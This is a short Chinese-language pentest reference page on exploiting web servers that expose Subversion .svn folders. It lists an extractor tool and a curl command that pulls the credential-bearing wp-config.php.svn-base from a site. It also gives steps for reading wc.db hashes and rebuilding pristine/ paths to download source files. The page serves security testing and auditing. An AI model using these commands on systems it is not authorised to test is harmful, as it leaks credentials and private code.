跳转至

Subversion (SVN)

Subversion(通常简称为 SVN)是一种集中式版本控制系统 (VCS),在软件开发行业中得到了广泛应用。Subversion 最初由 CollabNet Inc. 于 2000 年开发,旨在成为 CVS (Concurrent Versions System) 的改进版本,并因其健壮性和可靠性而获得了显著的关注。

摘要 (Summary)

工具 (Tools)

  • anantshri/svn-extractor - 一个简单的脚本,用于提取通过网络暴露的 .SVN 文件夹中的所有 Web 资源。

    python svn-extractor.py --url "包含可访问的 .svn 的 url"
    

方法论 (Methodology)

curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
  1. http://server/path_to_vulnerable_site/.svn/wc.db 下载 SVN 数据库。

    INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL);
    
  2. 下载感兴趣的文件

    • 移除 $sha1$ 前缀
    • 添加 .svn-base 后缀
    • 使用哈希值的第一个字节作为 pristine/ 目录下的子目录名称(在本例中为 94
    • 构建完整路径,结果为:http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base

参考资料 (References)